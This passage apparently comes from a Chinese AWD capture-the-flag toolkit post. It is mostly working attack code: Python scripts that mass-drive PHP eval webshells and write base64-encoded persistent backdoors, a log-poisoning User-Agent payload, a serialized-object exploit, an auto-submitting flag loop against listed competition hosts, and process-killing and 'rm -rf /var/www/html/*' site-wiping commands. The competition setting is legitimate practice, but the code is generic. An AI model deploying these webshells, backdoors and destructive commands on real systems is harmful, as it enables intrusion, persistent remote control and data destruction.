            res = requests.get(url, params=data, timeout=3)
        except:
            pass
    elif method == 'post':
        data['pass'] = "Sn3rtf4ck"
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0'] = 'c3lzdGVtKCJ3aG9hbWkiKTs='
    try:
        res = requests.post(url, data=data, timeout=3)
    except:
        pass
    
  	#检查shell是否存在
    list = Rfile.split("/")
    b_url = "http://" + ip
    max = len(list) - 1
    for i in range(1, max):
        b_url = b_url + "/" + list[i]
    shell_url = b_url + "/.index1.php"
    res = requests.get(shell_url, timeout=3)
    if res.status_code != 200:
        print("[-] %s create shell failed!" % shell_url)
        return 0
    else:
        print('[+] %s succeeded!' % shell_url)


if __name__ == '__main__':
    shellstr = loadfile("./webshell.txt")
    list = shellstr.split("\r\n")
    i = 0
    url = {}
    passwd = {}
    method = {}
    for data in list:
        if data:
            ls = data.split(",")
            method_tmp = str(ls[1])
            method_tmp = method_tmp.lower()
            if method_tmp == 'post' or method_tmp == 'get':
                url[i] = str(ls[0])
                method[i] = method_tmp
                passwd[i] = str(ls[2])
                i += 1
            else:
                print("[-] %s request method error!" % (str(ls[0])))
        else:
            pass

    for j in range(len(url)):
        #调用执行命令的模块
        #print str(j)
        #print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
        cmd(url=url[j], method=method[j], passwd=passwd[j])

不死马处理

在自己的shell里杀掉进程重启服务(靶机一般没有权限做不到)、写同名文件夹或者写一个 sleep 时间低于别人的马、或者写脚本不断删除马。
只删掉脚本是没用的,因为 php 执行的时候已经将脚本解释成 opcode 运行。

杀进程,这里是杀掉所有apache2的进程,因为没有root权限所以不用担心服务挂掉

<?php
while (1) {
system("kill `ps -ef | grep apache2 | grep -v grep | awk '{print $2}'`");
usleep(500);
}

写同名文件

rm -rf .config.php | mkdir .config.php

手动删除

shell.php: <?php @eval($_GET['9415']); ?>
url访问:shell.php?9415=system('kill -9 -1');

脚本竞争覆盖原有文件的内容:

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '/app/data/upload/202404/.config.php';
    $code = 'flag{You shall die!}';

    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" /app/data/upload/202404/.config.php');
        usleep(10);
    }
?>

一把梭防御:

#!/bin/sh

ps -aux

echo "杀进程..."
webapp="/var/www/html"  # 自定义的 webapp 路径
php_code1="<?php
while (1) {
    system(\"kill \`ps -ef | grep apache2 | grep -v grep | awk '{print \$2}'\`\");
    usleep(500);
}
?>"

# 创建 PHP 文件
echo "$php_code1" > "$webapp/kill_apache.php"

# 访问 PHP 文件
curl "http://localhost/kill_apache.php"

# 同名覆盖
evil="/var/www/html/.config.php" # 不死马路径
rm -rf $evil | mkdir $evil

# 条件竞争

php_code2="<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    \$file = '$evil';
    \$code = 'flag{You shall die!}';

    while (1){
        file_put_contents(\$file,\$code);
        system('touch -m -d \"2018-12-01 09:10:12\" $evil');
        usleep(10);
    }
?>"
echo "$php_code2" > "$webapp/killshell.php"
curl "http://localhost/killshell.php"

拿shell了交个flag先

预留后门模块

#预置后门利用模块
import requests


def backdoor_writeshell(ip, route, secret):
    # <?php echo "result:";if(md5($_GET["pass"])=="edee85b6d1da959d5fa73ce6ebde9c72"){@eval($_POST[a]);} ?>
    base64_data_1 = "PD9waHAgZWNobyAicmVzdWx0OiI7aWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iZWRlZTg1YjZkMWRhOTU5ZDVmYTczY2U2ZWJkZTljNzIiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4="
    targetUrl = "http://" + ip + route
    payload = 'file_put_contents("/var/www/html/include/.write.php",base64_decode("' + base64_data_1 + '"));'
    data = {secret: payload}
    try:
        shellurl = f"http://{ip}/include/.write.php"
        res = requests.post(targetUrl, data)
        requests.get(shellurl, timeout=3)
        if "result" in (requests.get(shellurl + "?pass=0w0").text):
            print("[*] writeshell success --- Box: " + ip)

            payload2 = {"a": "system('cat /flag.txt');"}
            res2 = requests.post(shellurl + "?pass=0w0", payload2)
            if "flag" in res2.text:
                print("[*] getshell了,交个flag先 " + res2.text)
    except:
        print("[-] Failed! backdoor_writeshell Box: " + ip)


backdoor_writeshell("localhost:18894", "/include/shell.php", "admin_ccmd")

批量拿flag

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64

def loadfile(filepath):
    try : 
        file = open(filepath,"rb")
        return str(file.read())
    except : 
        print "File %s Not Found!" %filepath
        sys.exit()

def file_write(filepath,filecontent):
    file = open(filepath,"a")
    file.write(filecontent)
    file.close()

def getflag(url,method,passwd,flag_path):
    #flag机的url
    flag_url="192.168.45.1"
    #print url
    #判断shell是否存在
    try :
        res = requests.get(url,timeout=3)
    except : 
        print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
        file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
        return 0
    if res.status_code!=200 :
        print "[-] %s Page Not Found!" %url
        file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
        return 0
    #执行命令来获取flag system,exec,passthru,`,shell_exec
    #a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
    cmd = "curl "+flag_url
    #cmd = "whoami"
    getflag_cmd ="echo system(\"%s\");"%cmd
    data={}
    if method=='get':
        data[passwd]='@eval(base64_decode($_GET[z0]));'
        data['z0']=base64.b64encode(getflag_cmd)
        try:
            res = requests.get(url,params=data,timeout=3)
            #print res.url
            if res.content:
                content = url+"\n"+res.content+"\n\n"
                file_write(flag_path,content)
                print "[+] %s getflag sucessed!"%url
            else :
                print "[-] %s cmd exec response is null!"%url
                content = url+"\ncmd exec response is null!\n\n"
                file_write(flag_path,content)
        except :
            file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
            print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
    elif method=='post':
        data['pass']='Sn3rtf4ck'
        data[passwd]='@eval(base64_decode($_POST[z0]));'
        data['z0']=base64.b64encode(getflag_cmd)
        try:
            res = requests.post(url,data=data,timeout=3)
            if res.content:
                content = url+"\n"+res.content+"\n\n"
                file_write(flag_path,content)
                print "[+] %s getflag sucessed!"%url
            else :
                print "[-] %s cmd exec response is null!"%url
                content = url+"\ncmd exec response is null!\n\n"
                file_write(flag_path,content)
        except:
            file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
            print "[+] %s Getflag Failed! You can check the shell's passwd!"%url



if __name__ == '__main__':
    #存放flag的文件
    flag_path="./flag.txt"
    shellstr=loadfile("./webshell.txt")
    list = shellstr.split("\r\n")
    #print str(list)
    i = 0
    url={}
    passwd={}
    method={}
    for data in list:
        if data:
            ls = data.split(",")
            method_tmp = str(ls[1])
            method_tmp = method_tmp.lower()
            if method_tmp=='post' or method_tmp=='get':
                url[i]=str(ls[0])
                method[i]=method_tmp
                passwd[i]=str(ls[2])
                i+=1
            else :
                print "[-] %s request method error!" %(str(ls[0]))
                file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0])))
        else : pass
    #print str(len(url))
    for j in range(len(url)):
        #调用执行命令的模块
        #print str(j)
        #print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
        getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)
 print "Getflag finished!"

批量交flag

import requests
import re
import json
import time


def shell_exp(url):
    att_url = url + "/template/default/index/ind1x.php?s=system('cat /flag');"
    try:
        data = {"s": "system('cat /flag');"}
        res = requests.get(att_url)
        flag = re.findall('flag{.*}', res.text)[0]
        print("[*]" + flag + "  Box: " + url + " by shell_exp")
        return flag
    except:
        print("[-]Failed! shell_exp   Box: " + url)
        return 0


def deadshell(url):
    att_url = url + "/public/common/images/1.jpg.php?s=eval('file_put_contents(\\'/var/www/html/-2.php\\',base64_decode(\\'PD9waHAgZWNobyAicmVzdWx0OiI7aWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iYzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWIiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4=\\'));');"
    requests.get(att_url)
    try:
        data = {"a": "system('cat /flag');"}
        deadurl = url + "/-2.php?pass=1"
        res = requests.post(url=deadurl, data=data)
        flag = re.findall('result:flag{.*}', res.text)[0]
        print("[*]" + flag + "  Box: " + url + " by deadshell")
        return flag
    except:
        print("[-]Failed! deadshell   Box: " + url)
        return 0


def log_exp(url):
    writelog_url = url + "/index.php"
    headers = {"User-Agent": '<?php @eval($_POST[111]);?>'}
    try:
        requests.get(writelog_url, headers=headers)
        data = {"cmd": 'system("cat /f*");'}
        att_url = url + "/log.php"
        res = requests.post(att_url, data)
        flag = re.findall('ISCTF{.*}', res.text)[0]
        print("[*]" + flag + "  Box: " + url)
        return flag
    except:
        print("[-]Failed! log_exp   Box: " + url)
        return 0


def unserialize_exp(url):
    att_url = url + "/common/home.php"
    try:
        data = {
            "a":
            "Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoxNjoiMXxjYXQke0lGU30vZmxhZyI7fX0="
        }
        res = requests.post(att_url, data)
        flag = re.findall('ISCTF{.*}', res.text)[0]
        print("[*]" + flag + "  Box: " + url)
        return flag
    except:
        print("[-]Failed! unserialize_exp    Box: " + url)
        return 0


def submit_flag(flag):
    submit_url = f"https://ctf.bugku.com/pvp/submit.html?token=3408e4efa1c92d11663a725c6bb060f8&flag={flag}"
    # headers = {"Content-Type": "application/json",
    #            "Authorization": "45b89011c769b3887141d4abdcdc9207"
    #            }
    data = {"flag": flag}
    res = requests.get(url=submit_url)
    if "正确" in res.text:
        print("[*]" + "交个flag先")
    else:
        print("[-]" + "交过了")


url = [
    'http://192-168-1-5.pvp4121.bugku.cn',
    'http://192-168-1-6.pvp4121.bugku.cn',
    'http://192-168-1-76.pvp4121.bugku.cn',
    'http://192-168-1-27.pvp4121.bugku.cn',
    'http://192-168-1-22.pvp4121.bugku.cn',
    'http://192-168-1-18.pvp4121.bugku.cn',
    'http://192-168-1-60.pvp4121.bugku.cn',
    'http://192-168-1-248.pvp4121.bugku.cn',
    'http://192-168-1-219.pvp4121.bugku.cn',
    'http://192-168-1-239.pvp4121.bugku.cn',
    'http://192-168-1-143.pvp4121.bugku.cn',
    'http://192-168-1-77.pvp4121.bugku.cn',
    'http://192-168-1-119.pvp4121.bugku.cn',
    'http://192-168-1-136.pvp4121.bugku.cn'
]  # 匹配攻击靶机ip
count = 1
while 1:
    for i in url:  # 攻击数量
        attack_url = i
        if isinstance(deadshell(attack_url), str):
            submit_flag(deadshell(attack_url))
        if isinstance(shell_exp(attack_url), str):
            submit_flag(shell_exp(attack_url))
        # elif isinstance(log_exp(attack_url), str):
        #     submit_flag(log_exp(attack_url))
        # elif isinstance(unserialize_exp(attack_url), str):
        #     submit_flag(unserialize_exp(attack_url))
        else:
            continue
    print("********************第 " + str(count) +
          " 次flag提交结束**************************")
    count += 1
    time.sleep(420)  # 攻击间隔

对靶机武装666号——删站(

rm -rf /var/www/html/*
rm -rf /opt/tomcat/webapps/